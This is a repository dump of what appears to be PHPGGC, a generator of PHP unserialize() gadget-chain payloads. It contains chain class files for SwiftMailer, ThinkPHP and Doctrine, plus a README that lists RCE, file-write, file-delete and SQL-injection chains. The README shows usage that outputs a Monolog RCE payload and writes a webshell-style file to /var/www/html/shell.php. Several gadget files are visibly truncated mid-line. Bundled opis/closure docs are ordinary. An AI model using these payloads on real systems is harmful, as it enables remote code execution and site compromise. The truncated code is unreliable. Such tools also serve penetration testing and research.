35 | class Swift_Mime_ContentEncoder_RawContentEncoder
36 | {
37 |
38 | }
39 |
40 | class Swift_Mime_SimpleMimeEntity
41 | {
42 | private $headers;
43 | private $body;
44 | private $encoder;
45 | private $cache;
46 | private $cacheKey = 'something';
47 |
48 | function __construct($cache, $body)
49 | {
50 | $this->cache = $cache;
51 | $this->body = $body;
52 | $this->encoder = new Swift_Mime_ContentEncoder_RawContentEncoder();
53 | $this->headers = new Swift_Mime_SimpleHeaderSet();
54 | }
55 | }
56 |
57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity
58 | {
59 | private $headerSigners = [];
60 | private $bodySigners = [];
61 | private $savedMessage = [];
62 |
63 | function __construct($headerSigner, $cache, $body)
64 | {
65 | parent::__construct($cache, $body);
66 | $this->headerSigners = [$headerSigner];
67 | }
68 | }
69 |
70 | class Swift_Signers_DomainKeySigner
71 | {
72 | protected $privateKey = <<bound = [$bound];
94 | }
95 | }
96 |
97 | class Swift_KeyCache_ArrayKeyCache
98 | {
99 | private $contents = [];
100 | private $stream;
101 |
102 | function __construct($stream)
103 | {
104 | $this->stream = $stream;
105 | }
106 | }
107 |
108 | class Swift_KeyCache_SimpleKeyCacheInputStream
109 | {
110 | private $keyCache;
111 | private $nsKey = 'something';
112 | private $itemKey = 'something';
113 | private $writeThrough = null;
114 |
115 | function __construct($writeThrough)
116 | {
117 | $this->keyCache = new Swift_KeyCache_ArrayKeyCache(null);
118 | $this->writeThrough = $writeThrough;
119 | }
120 | }
121 |
122 | abstract class Swift_ByteStream_AbstractFilterableInputStream
123 | {
124 | }
125 |
126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
127 | {
128 | private $path;
129 | private $mode = 'w+b';
130 |
131 | function __construct($path)
132 | {
133 | $this->path = $path;
134 | }
135 | }
--------------------------------------------------------------------------------
/gadgetchains/SwiftMailer/FW/1/gadgets.php:
--------------------------------------------------------------------------------
1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
21 | $this->_grammar = new Swift_Mime_Grammar();
22 | }
23 | }
24 |
25 | class Swift_Mime_SimpleHeaderSet
26 | {
27 | private $_factory;
28 |
29 | function __construct()
30 | {
31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory();
32 | }
33 | }
34 |
35 | class Swift_Mime_ContentEncoder_RawContentEncoder
36 | {
37 |
38 | }
39 |
40 | class Swift_Mime_SimpleMimeEntity
41 | {
42 | private $_headers;
43 | private $_body;
44 | private $_encoder;
45 | private $_cache;
46 | private $_cacheKey = 'something';
47 |
48 | function __construct($cache, $body)
49 | {
50 | $this->_cache = $cache;
51 | $this->_body = $body;
52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder();
53 | $this->_headers = new Swift_Mime_SimpleHeaderSet();
54 | }
55 | }
56 |
57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity
58 | {
59 | private $headerSigners = [];
60 | private $bodySigners = [];
61 | private $savedMessage = [];
62 |
63 | function __construct($headerSigner, $cache, $body)
64 | {
65 | parent::__construct($cache, $body);
66 | $this->headerSigners = [$headerSigner];
67 | }
68 | }
69 |
70 | class Swift_Signers_DomainKeySigner
71 | {
72 | protected $_privateKey = <<_bound = [$_bound];
94 | }
95 | }
96 |
97 | class Swift_KeyCache_ArrayKeyCache
98 | {
99 | private $_contents = [];
100 | private $_stream;
101 |
102 | function __construct($_stream)
103 | {
104 | $this->_stream = $_stream;
105 | }
106 | }
107 |
108 | class Swift_KeyCache_SimpleKeyCacheInputStream
109 | {
110 | private $_keyCache;
111 | private $_nsKey = 'something';
112 | private $_itemKey = 'something';
113 | private $_writeThrough = null;
114 |
115 | function __construct($_writeThrough)
116 | {
117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null);
118 | $this->_writeThrough = $_writeThrough;
119 | }
120 | }
121 |
122 | abstract class Swift_ByteStream_AbstractFilterableInputStream
123 | {
124 | }
125 |
126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
127 | {
128 | private $_path;
129 | private $_mode = 'w+b';
130 |
131 | function __construct($_path)
132 | {
133 | $this->_path = $_path;
134 | }
135 | }
--------------------------------------------------------------------------------
/gadgetchains/SwiftMailer/FW/3/gadgets.php:
--------------------------------------------------------------------------------
1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
21 | $this->_grammar = new Swift_Mime_Grammar();
22 | }
23 | }
24 |
25 | class Swift_Mime_SimpleHeaderSet
26 | {
27 | private $_factory;
28 |
29 | function __construct()
30 | {
31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory();
32 | }
33 | }
34 |
35 | class Swift_Mime_ContentEncoder_RawContentEncoder
36 | {
37 |
38 | }
39 |
40 | class Swift_Mime_SimpleMimeEntity
41 | {
42 | private $_headers;
43 | private $_body;
44 | private $_encoder;
45 | private $_cache;
46 | private $_cacheKey = 'something';
47 |
48 | function __construct($cache, $body)
49 | {
50 | $this->_cache = $cache;
51 | $this->_body = $body;
52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder();
53 | $this->_headers = new Swift_Mime_SimpleHeaderSet();
54 | }
55 | }
56 |
57 | class Swift_SignedMessage extends Swift_Mime_SimpleMimeEntity
58 | {
59 | private $headerSigners = [];
60 | private $bodySigners = [];
61 | private $savedMessage = [];
62 |
63 | function __construct($headerSigner, $cache, $body)
64 | {
65 | parent::__construct($cache, $body);
66 | $this->headerSigners = [$headerSigner];
67 | }
68 | }
69 |
70 | class Swift_Signers_DomainKeySigner
71 | {
72 | protected $_privateKey = <<_bound = [$_bound];
94 | }
95 | }
96 |
97 | class Swift_KeyCache_ArrayKeyCache
98 | {
99 | private $_contents = [];
100 | private $_stream;
101 |
102 | function __construct($_stream)
103 | {
104 | $this->_stream = $_stream;
105 | }
106 | }
107 |
108 | class Swift_KeyCache_SimpleKeyCacheInputStream
109 | {
110 | private $_keyCache;
111 | private $_nsKey = 'something';
112 | private $_itemKey = 'something';
113 | private $_writeThrough = null;
114 |
115 | function __construct($_writeThrough)
116 | {
117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null);
118 | $this->_writeThrough = $_writeThrough;
119 | }
120 | }
121 |
122 | abstract class Swift_ByteStream_AbstractFilterableInputStream
123 | {
124 | }
125 |
126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
127 | {
128 | private $_path;
129 | private $_mode = 'w+b';
130 |
131 | function __construct($_path)
132 | {
133 | $this->_path = $_path;
134 | }
135 | }
--------------------------------------------------------------------------------
/gadgetchains/ThinkPHP/FW/1/gadgets.php:
--------------------------------------------------------------------------------
1 | files = array($files);
16 | }
17 | }
18 | }
19 |
20 | namespace think\model\relation{
21 | use think\model\Relation;
22 |
23 | abstract class OneToOne extends Relation {
24 | protected $bindAttr = [];
25 | function __construct($bindAttr, $selfRelation, $query)
26 | {
27 | $this->bindAttr = $bindAttr;
28 | parent::__construct($selfRelation, $query);
29 | }
30 | }
31 |
32 | class HasOne extends OneToOne {
33 | function __construct($bindAttr, $query)
34 | {
35 | parent::__construct($bindAttr, false, $query);
36 | }
37 | }
38 | }
39 |
40 | namespace think\db {
41 | class Query {
42 | protected $model;
43 |
44 | function __construct($model)
45 | {
46 | $this->model = $model;
47 | }
48 | }
49 | }
50 |
51 | namespace think {
52 | abstract class Model{
53 | protected $append = [];
54 | protected $data = [];
55 | protected $error = null;
56 | protected $parent;
57 |
58 | function __construct($output, $modelRelation)
59 | {
60 | $this->parent = $output;
61 | $this->data = array("wh1t3p1g"=>"");
62 | $this->append = array("wh1t3p1g"=>"getError");
63 | $this->error = $modelRelation;
64 | }
65 | }
66 | }
67 |
68 | namespace think\model {
69 |
70 | class Relation{
71 | protected $selfRelation;
72 | protected $query;
73 |
74 | function __construct($selfRelation, $query){
75 | $this->query = $query;
76 | $this->selfRelation = $selfRelation;
77 | }
78 | }
79 |
80 | class Pivot extends \think\Model{
81 | function __construct($output, $modelRelation)
82 | {
83 | parent::__construct($output, $modelRelation);
84 | }
85 | }
86 | }
87 |
88 | namespace think\console {
89 | class Output {
90 | protected $styles = [];
91 | private $handle = null;
92 | function __construct($handle){
93 | $this->styles = array("getAttr");
94 | $this->handle = $handle;
95 | }
96 | }
97 | }
98 |
99 | namespace think\session\driver {
100 | class SessionHandler {}
101 |
102 | class Memcache extends SessionHandler {
103 |
104 | protected $handler = null;
105 | protected $config = [];
106 |
107 | function __construct($handle, $filename){
108 | $this->handler = $handle;
109 | $this->config = array("session_name"=>$filename,"expire"=>"test");
110 | }
111 | }
112 | }
113 |
114 | namespace think\cache {
115 | abstract class Driver{
116 | protected $tag;
117 | }
118 | }
119 |
120 |
121 | namespace think\cache\driver {
122 | use think\cache\Driver;
123 |
124 | class File extends Driver {
125 | protected $options = [];
126 |
127 | function __construct($remote_path,$content){
128 | $this->options = array("path"=>"php://filter/write=string.rot13/resource=".$remote_path.$content,"cache_subdir"=>null,"prefix"=>null,"data_compress"=>null);
129 | $this->tag = true;
130 | }
131 | }
132 |
133 | class Lite extends Driver{
134 | protected $options = [];
135 |
136 | function __construct($remote_path, $content)
137 | {
138 | $this->options = array(
139 | "path"=>"php://filter/write=string.rot13/resource=".$remote_path.$content,
140 | "prefix"=>null,
141 | );
142 | $this->tag = true;
143 | }
144 | }
145 | }
--------------------------------------------------------------------------------
/lib/opis/closure/README.md:
--------------------------------------------------------------------------------
1 | Opis Closure
2 | ====================
3 | [](https://travis-ci.org/opis/closure)
4 | [](https://packagist.org/packages/opis/closure)
5 | [](https://packagist.org/packages/opis/closure)
6 | [](https://packagist.org/packages/opis/closure)
7 |
8 | Serializable closures
9 | ---------------------
10 | **Opis Closure** is a library that aims to overcome PHP's limitations regarding closure
11 | serialization by providing a wrapper that will make all closures serializable.
12 |
13 | **The library's key features:**
14 |
15 | - Serialize any closure
16 | - Serialize arbitrary objects
17 | - Doesn't use `eval` for closure serialization or unserialization
18 | - Works with any PHP version that has support for closures
19 | - Supports PHP 7 syntax
20 | - Handles all variables referenced/imported in `use()` and automatically wraps all referenced/imported closures for
21 | proper serialization
22 | - Handles recursive closures
23 | - Handles magic constants like `__FILE__`, `__DIR__`, `__LINE__`, `__NAMESPACE__`, `__CLASS__`,
24 | `__TRAIT__`, `__METHOD__` and `__FUNCTION__`.
25 | - Automatically resolves all class names, function names and constant names used inside the closure
26 | - Track closure's residing source by using the `#trackme` directive
27 | - Simple and very fast parser
28 | - Any error or exception, that might occur when executing an unserialized closure, can be caught and treated properly
29 | - You can serialize/unserialize any closure unlimited times, even those previously unserialized
30 | (this is possible because `eval()` is not used for unserialization)
31 | - Handles static closures
32 | - Supports cryptographically signed closures
33 | - Provides a reflector that can give you information about the serialized closure
34 | - Provides an analyzer for *SuperClosure* library
35 | - Automatically detects when the scope and/or the bound object of a closure needs to be serialized
36 | in order for the closure to work after deserialization
37 |
38 | ### Documentation
39 |
40 | The full documentation for this library can be found [here][documentation].
41 |
42 | ### License
43 |
44 | **Opis Closure** is licensed under the [MIT License (MIT)][license].
45 |
46 | ### Requirements
47 |
48 | * PHP ^5.4 || ^7.0
49 |
50 | ## Installation
51 |
52 | **Opis Closure** is available on [Packagist] and it can be installed from a
53 | command line interface by using [Composer].
54 |
55 | ```bash
56 | composer require opis/closure
57 | ```
58 |
59 | Or you could directly reference it into your `composer.json` file as a dependency
60 |
61 | ```json
62 | {
63 | "require": {
64 | "opis/closure": "^3.3"
65 | }
66 | }
67 | ```
68 |
69 | ### Migrating from 2.x
70 |
71 | If your project needs to support PHP 5.3 you can continue using the `2.x` version
72 | of **Opis Closure**. Otherwise, assuming you are not using one of the removed/refactored classes or features(see
73 | [CHANGELOG]), migrating to version `3.x` is simply a matter of updating your `composer.json` file.
74 |
75 | ### Semantic versioning
76 |
77 | **Opis Closure** follows [semantic versioning][SemVer] specifications.
78 |
79 | ### Arbitrary object serialization
80 |
81 | This feature was primarily introduced in order to support serializing an object bound
82 | to a closure and available via `$this`. The implementation is far from being perfect
83 | and it's really hard to make it work flawless. I will try to improve this, but I can
84 | not guarantee anything. So my advice regarding the `Opis\Closure\serialize|unserialize`
85 | functions is to use them with caution.
86 |
87 | ### SuperClosure support
88 |
89 | **Opis Closure** is shipped with an analyzer(`Opis\Closure\Analyzer`) which
90 | aims to provide *Opis Closure*'s parsing precision and speed to [SuperClosure].
91 |
92 | [documentation]: https://www.opis.io/closure "Opis Closure"
93 | [license]: http://opensource.org/licenses/MIT "MIT License"
94 | [Packagist]: https://packagist.org/packages/opis/closure "Packagist"
95 | [Composer]: https://getcomposer.org "Composer"
96 | [SuperClosure]: https://github.com/jeremeamia/super_closure "SuperClosure"
97 | [SemVer]: http://semver.org/ "Semantic versioning"
98 | [CHANGELOG]: https://github.com/opis/closure/blob/master/CHANGELOG.md "Changelog"
--------------------------------------------------------------------------------
/gadgetchains/Doctrine/FW/1/gadgets.php:
--------------------------------------------------------------------------------
1 | reader = $reader;
26 | }
27 | }
28 | }
29 |
30 | namespace Doctrine\Common\Annotations
31 | {
32 | final class CachedReader
33 | {
34 | private $loadedAnnotations;
35 |
36 | function __construct($loadedAnnotations)
37 | {
38 | $this->loadedAnnotations = $loadedAnnotations;
39 | }
40 | }
41 | }
42 |
43 | namespace Doctrine\ORM\Query
44 | {
45 | class ResultSetMapping
46 | {
47 | public $declaringClasses = array();
48 | public $columnOwnerMap = array();
49 | public $fieldMappings = array();
50 |
51 | }
52 |
53 | # $class = $this->em->getClassMetadata($this->declaringClasses[$columnName]);
54 | # $sql .= $class->fieldMappings[$this->fieldMappings[$columnName]]['columnName'];
55 | class ResultSetMappingBuilder extends ResultSetMapping
56 | {
57 | private $em;
58 |
59 | function __construct($em)
60 | {
61 | $columnName = 'X';
62 | $this->columnOwnerMap[$columnName] = null;
63 | $this->fieldMappings[$columnName] = 0;
64 | $this->declaringClasses[$columnName] = 'stdClass';
65 | $this->em = $em;
66 | }
67 | }
68 | }
69 |
70 | namespace Doctrine\ORM
71 | {
72 | class EntityManager
73 | {
74 | private $config;
75 | private $metadataFactory;
76 | private $closed = false;
77 |
78 | function __construct($metadataFactory, $config)
79 | {
80 | $this->metadataFactory = $metadataFactory;
81 | $this->config = $config;
82 | }
83 | }
84 |
85 | class Configuration extends \Doctrine\DBAL\Configuration
86 | {
87 |
88 | }
89 | }
90 |
91 | namespace Doctrine\DBAL
92 | {
93 | class Configuration
94 | {
95 | protected $_attributes = array();
96 |
97 | function __construct($_attributes)
98 | {
99 | $this->_attributes = $_attributes;
100 | }
101 | }
102 | }
103 |
104 | namespace Doctrine\Common\Persistence\Mapping
105 | {
106 | abstract class AbstractClassMetadataFactory
107 | {
108 | protected $cacheSalt = '$CLASSMETADATA';
109 | private $cacheDriver;
110 | protected $initialized = true;
111 |
112 | function __construct($cacheDriver)
113 | {
114 | $this->cacheDriver = $cacheDriver;
115 | }
116 | }
117 | }
118 |
119 | namespace Doctrine\ORM\Mapping
120 | {
121 | use \Doctrine\Common\Persistence\Mapping\AbstractClassMetadataFactory;
122 | use \Doctrine\Common\EventManager;
123 |
124 | class ClassMetadataFactory extends AbstractClassMetadataFactory
125 | {
126 | private $em;
127 | private $driver;
128 | private $evm;
129 |
130 | function __construct($cacheDriver, $em, $driver)
131 | {
132 | parent::__construct($cacheDriver);
133 | $this->em = $em;
134 | $this->driver = $driver;
135 | $this->evm = new EventManager();
136 | }
137 | }
138 | }
139 |
140 | namespace Doctrine\Common\Persistence\Mapping\Driver
141 | {
142 | class DefaultFileLocator
143 | {
144 | protected $paths = [''];
145 | protected $fileExtension;
146 | }
147 | }
148 |
149 | namespace Doctrine\Common\Persistence\Mapping\Driver
150 | {
151 | abstract class FileDriver
152 | {
153 | protected $locator;
154 | protected $classCache;
155 | protected $globalBasename;
156 | }
157 |
158 | class PHPDriver extends FileDriver
159 | {
160 | protected $metadata;
161 | }
162 | }
163 |
164 | namespace Doctrine\Common\Cache
165 | {
166 | abstract class CacheProvider
167 | {
168 | private $namespace = '';
169 | private $namespaceVersion;
170 | }
171 |
172 | abstract class FileCache extends CacheProvider
173 | {
174 | protected $directory;
175 | private $extension;
176 | private $umask = ~0777;
177 | private $directoryStringLength;
178 | private $extensionStringLength;
179 | private $isRunningOnWindows;
180 |
181 | function __construct($directory, $extension)
182 | {
183 | $this->directory = $directory;
184 | $this->directoryStringLength = strlen($directory);
185 | $this->extension = $extension;
186 | $this->extensionStringLength = strlen($extension);
187 | }
188 | }
189 |
190 | class FilesystemCache extends FileCache
191 | {
192 | }
193 | }
194 |
195 |
196 | namespace Doctrine\Common
197 | {
198 | class EventManager
199 | {
200 | private $_listeners = [];
201 | }
202 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PHPGGC: PHP Generic Gadget Chains
2 |
3 | *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*.
4 | When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP.
5 | Currently, the tool supports: Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii and ZendFramework.
6 |
7 | ## Requirements
8 |
9 | PHP >= 5.6 is required to run PHPGGC.
10 |
11 | ## Update
12 |
13 | * ThinkPHP v5.0.x file write
14 | * ThinkPHP v5.2.x RCE
15 | * ThinkPHP v6.0.x RCE
16 | * ThinkPHP v5.x file delete
17 |
18 | ## Usage
19 |
20 | Run `./phpggc -l` to obtain a list of gadget chains:
21 |
22 | ```
23 | $ ./phpggc -l
24 |
25 | Gadget Chains
26 | -------------
27 |
28 | NAME VERSION TYPE VECTOR I
29 | Doctrine/FW1 ? file_write __toString *
30 | Guzzle/FW1 6.0.0 <= 6.3.2 file_write __destruct
31 | Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct
32 | Laravel/RCE1 5.4.27 rce __destruct
33 | Laravel/RCE2 5.5.39 rce __destruct
34 | Laravel/RCE3 5.5.39 rce __destruct *
35 | Laravel/RCE4 5.5.39 rce __destruct
36 | Magento/SQLI1 ? <= 1.9.3.4 sql_injection __destruct
37 | Monolog/RCE1 1.18 <= 1.23 rce __destruct
38 | Monolog/RCE2 1.5 <= 1.17 rce __destruct
39 | Phalcon/RCE1 <= 1.2.2 rce __wakeup *
40 | Slim/RCE1 3.8.1 rce __toString
41 | SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString
42 | SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString
43 | SwiftMailer/FW3 5.0.1 file_write __toString
44 | Symfony/FW1 2.5.2 file_write DebugImport *
45 | Symfony/RCE1 3.3 rce __destruct *
46 | Symfony/RCE2 2.3.42 < 2.6 rce __destruct *
47 | Symfony/RCE3 2.6 <= 2.8.32 rce __destruct *
48 | ThinkPHP/FD1 5.x file_delete __destruct *
49 | Yii/RCE1 1.1.19 rce __wakeup *
50 | ZendFramework/RCE1 ? <= 1.12.20 rce __destruct *
51 |
52 | ```
53 |
54 | Every gadget chain has:
55 |
56 | - Name: Name of the framework/library
57 | - Version: Version of the framework/library for which gadgets are for
58 | - Type: Type of exploitation: RCE, File Write, File Read, Include...
59 | - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...)
60 | - Informations: Other informations about the chain
61 |
62 | Use `-i` to get detailed information about a chain:
63 |
64 | ```
65 | $ ./phpggc -i symfony/rce1
66 | Name : Symfony/RCE1
67 | Version : 3.3
68 | Type : rce
69 | Vector : __destruct
70 | Informations :
71 | Exec through proc_open()
72 |
73 | ./phpggc Symfony/RCE1
74 | ```
75 |
76 | Once you have selected a chain, run `./phpggc [parameters]` to obtain the payload.
77 | For instance, to obtain a payload for Monolog, you'd do:
78 |
79 | ```
80 | $ ./phpggc monolog/rce1 'phpinfo();'
81 | O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
82 | ```
83 |
84 | For a file write using SwiftMailer, you'd do:
85 |
86 | ```
87 | $ echo 'It works !' > /tmp/data
88 | $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
89 | O:13:"Swift_Message":8:{...}
90 | ```
91 |
92 | Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64.
93 | Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use `-s` for a soft URL encode, which keeps the payload readable.
94 |
95 | The `-w` option allows you to define a PHP file containing a `wrapper($chain)` function.
96 | This will be called after the chain is built, but before the `serialize()`, in order to adjust the payload's shape.
97 | For instance, if the vulnerable code looks like this:
98 |
99 | ```
100 | $data = unserialize($_GET['data']);
101 | print $data['message'];
102 | ```
103 |
104 | You could use a __toString() chain, wrapping it like so:
105 |
106 | ```
107 | # /tmp/my_wrapper.php
108 |
109 | function wrapper($chain)
110 | {
111 | return array(
112 | 'message' => $chain
113 | );
114 | }
115 | ```
116 |
117 | And you'd call phpggc like so:
118 |
119 | ```
120 | $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();'
121 | a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
122 | ```
123 |
124 | ## Contributing
125 |
126 | Pull requests are more than welcome. Please follow these simple guidelines:
127 |
128 | - Error-free payloads are prefered, as some websites exit abruptly even with E_NOTICE errors
129 | - `__destruct()` is always the best vector
130 | - Specify at least the version of the library you've built the payload on
131 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
132 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
133 |
134 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
135 | You can define pre- and post- processing methods, if parameters need to be modified.
136 | Hopefully, the already implemented gadgets should be enough for you to build yours.
137 | Otherwise, I'd be glad to answer your questions.
138 |
--------------------------------------------------------------------------------
/lib/opis/closure/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | CHANGELOG
2 | ---------
3 |
4 | ### v3.4.0, 2019.09.03
5 |
6 | - Added `createClosure` static method in `Opis\Closure\SerializableClosure`.
7 | This method creates a new closure from arbitrary code, emulating `create_function`,
8 | but without using eval
9 |
10 | ### v3.3.1, 2019.07.10
11 |
12 | - Use `sha1` instead of `md5` for hashing file names in `Opis\Closure\ReflectionClosure` class
13 |
14 | ### v3.3.0, 2019.05.31
15 |
16 | - Fixed a bug that prevented signed closures to properly work when the serialized string
17 | contains invalid UTF-8 chars. Starting with this version `json_encode` is no longer used
18 | when signing a closure. Backward compatibility is maintained and all closures that were
19 | previously signed using the old method will continue to work.
20 |
21 | ### v3.2.0, 2019.05.05
22 |
23 | - Since an unsigned closure can be unserialized when no security provider is set,
24 | there is no reason to treat differently a signed closure in the same situation.
25 | Therefore, the `Opis\Closure\SecurityException` exception is no longer thrown when
26 | unserializing a signed closure, if no security provider is set.
27 |
28 | ### v3.1.6, 2019.02.22
29 |
30 | - Fixed a bug that occurred when trying to set properties of classes that were not defined in user-land.
31 | Those properties are now ignored.
32 |
33 | ### v3.1.5, 2019.01.14
34 |
35 | - Improved parser
36 |
37 | ### v3.1.4, 2019.01.14
38 |
39 | - Added support for static methods that are named using PHP keywords or magic constants.
40 | Ex: `A::new()`, `A::use()`, `A::if()`, `A::function()`, `A::__DIR__()`, etc.
41 | - Used `@internal` to mark classes & methods that are for internal use only and
42 | backward compatibility is not guaranteed.
43 |
44 | ### v3.1.3, 2019.01.07
45 |
46 | - Fixed a bug that prevented traits to be correctly resolved when used by an
47 | anonymous class
48 | - Fixed a bug that occurred when `$this` keyword was used inside an anonymous class
49 |
50 | ### v3.1.2, 2018.12.16
51 |
52 | * Fixed a bug regarding comma trail in group-use statements. See [issue 23](https://github.com/opis/closure/issues/23)
53 |
54 | ### v3.1.1, 2018.10.02
55 |
56 | * Fixed a bug where `parent` keyword was treated like a class-name and scope was not added to the
57 | serialized closure
58 | * Fixed a bug where return type was not properly handled for nested closures
59 | * Support for anonymous classes was improved
60 |
61 | ### v3.1.0, 2018.09.20
62 |
63 | * Added `transformUseVariables` and `resolveUseVariables` to
64 | `Opis\Closure\SerializableClosure` class.
65 | * Added `removeSecurityProvider` static method to
66 | `Opis\Closure\SerializableClosure` class.
67 | * Fixed some security related issues where a user was able to unserialize an unsigned
68 | closure, even when a security provider was in use.
69 |
70 | ### v3.0.12, 2018.02.23
71 |
72 | * Bugfix. See [issue 20](https://github.com/opis/closure/issues/20)
73 |
74 | ### v3.0.11, 2018.01.22
75 |
76 | * Bugfix. See [issue 18](https://github.com/opis/closure/issues/18)
77 |
78 | ### v3.0.10, 2018.01.04
79 |
80 | * Improved support for PHP 7.1 & 7.2
81 |
82 | ### v3.0.9, 2018.01.04
83 |
84 | * Fixed a bug where the return type was not properly resolved.
85 | See [issue 17](https://github.com/opis/closure/issues/17)
86 | * Added more tests
87 |
88 | ### v3.0.8, 2017.12.18
89 |
90 | * Fixed a bug. See [issue 16](https://github.com/opis/closure/issues/16)
91 |
92 | ### v3.0.7, 2017.10.31
93 |
94 | * Bugfix: static properties are ignored now, since they are not serializable
95 |
96 | ### v3.0.6, 2017.10.06
97 |
98 | * Fixed a bug introduced by accident in 3.0.5
99 |
100 | ### v3.0.5, 2017.09.18
101 |
102 | * Fixed a bug related to nested references
103 |
104 | ### v3.0.4, 2017.09.18
105 |
106 | * \[*internal*\] Refactored `SerializableClosure::mapPointers` method
107 | * \[*internal*\] Added a new optional argument to `SerializableClosure::unwrapClosures`
108 | * \[*internal*\] Removed `SerializableClosure::getClosurePointer` method
109 | * Fixed various bugs
110 |
111 | ### v3.0.3, 2017.09.06
112 |
113 | * Fixed a bug related to nested object references
114 | * \[*internal*\] `Opis\Closure\ClosureScope` now extends `SplObjectStorage`
115 | * \[*internal*\] The `storage` property was removed from `Opis\Closure\ClosureScope`
116 | * \[*internal*\] The `instances` and `objects` properties were removed from `Opis\Closure\ClosureContext`
117 |
118 | ### v3.0.2, 2017.08.28
119 |
120 | * Fixed a bug where `$this` object was not handled properly inside the
121 | `SerializableClosre::serialize` method.
122 |
123 | ### v3.0.1, 2017.04.13
124 |
125 | * Fixed a bug in 'ignore_next' state
126 |
127 | ### v3.0.0, 2017.04.07
128 |
129 | * Dropped PHP 5.3 support
130 | * Moved source files from `lib` to `src` folder
131 | * Removed second parameter from `Opis\Closure\SerializableClosure::from` method and from constructor
132 | * Removed `Opis\Closure\{SecurityProviderInterface, DefaultSecurityProvider, SecureClosure}` classes
133 | * Refactored how signed closures were handled
134 | * Added `wrapClosures` and `unwrapClosures` static methods to `Opis\Closure\SerializableClosure` class
135 | * Added `Opis\Colosure\serialize` and `Opis\Closure\unserialize` functions
136 | * Improved serialization. You can now serialize arbitrary objects and the library will automatically wrap all closures
137 |
138 | ### v2.4.0, 2016.12.16
139 |
140 | * The parser was refactored and improved
141 | * Refactored `Opis\Closure\SerializableClosure::__invoke` method
142 | * `Opis\Closure\{ISecurityProvider, SecurityProvider}` were added
143 | * `Opis\Closure\{SecurityProviderInterface, DefaultSecurityProvider, SecureClosure}` were deprecated
144 | and they will be removed in the next major version
145 | * `setSecretKey` and `addSecurityProvider` static methods were added to `Opis\Closure\SerializableClosure`
146 |
147 | ### v2.3.2, 2016.12.15
148 |
149 | * Fixed a bug that prevented namespace resolution to be done properly
150 |
151 | ### v2.3.1, 2016.12.13
152 |
153 | * Hotfix. See [PR](https://github.com/opis/closure/pull/7)
154 |
155 | ### v2.3.0, 2016.11.17
156 |
157 | * Added `isBindingRequired` and `isScopeRequired` to the `Opis\Closure\ReflectionClosure` class
158 | * Automatically detects when the scope and/or the bound object of a closure needs to be serialized.
159 |
160 | ### v2.2.1, 2016.08.20
161 |
162 | * Fixed a bug in `Opis\Closure\ReflectionClosure::fetchItems`
163 |
164 | ### v2.2.0, 2016.07.26
165 |
166 | * Fixed CS
167 | * `Opis\Closure\ClosureContext`, `Opis\Closure\ClosureScope`, `Opis\Closure\SelfReference`
168 | and `Opis\Closure\SecurityException` classes were moved into separate files
169 | * Added support for PHP7 syntax
170 | * Fixed some bugs in `Opis\Closure\ReflectionClosure` class
171 | * Improved closure parser
172 | * Added an analyzer for SuperClosure library
173 |
174 | ### v2.1.0, 2015.09.30
175 |
176 | * Added support for the missing `__METHOD__`, `__FUNCTION__` and `__TRAIT__` magic constants
177 | * Added some security related classes and interfaces: `Opis\Closure\SecurityProviderInterface`,
178 | `Opis\Closure\DefaultSecurityProvider`, `Opis\Closure\SecureClosure`, `Opis\Closure\SecurityException`.
179 | * Fiexed a bug in `Opis\Closure\ReflectionClosure::getClasses` method
180 | * Other minor bugfixes
181 | * Added support for static closures
182 | * Added public `isStatic` method to `Opis\Closure\ReflectionClosure` class
183 |
184 |
185 | ### v2.0.1, 2015.09.23
186 |
187 | * Removed `branch-alias` property from `composer.json`
188 | * Bugfix. See [issue #6](https://github.com/opis/closure/issues/6)
189 |
190 | ### v2.0.0, 2015.07.31
191 |
192 | * The closure parser was improved
193 | * Class names are now automatically resolved
194 | * Added support for the `#trackme` directive which allows tracking closure's residing source
195 |
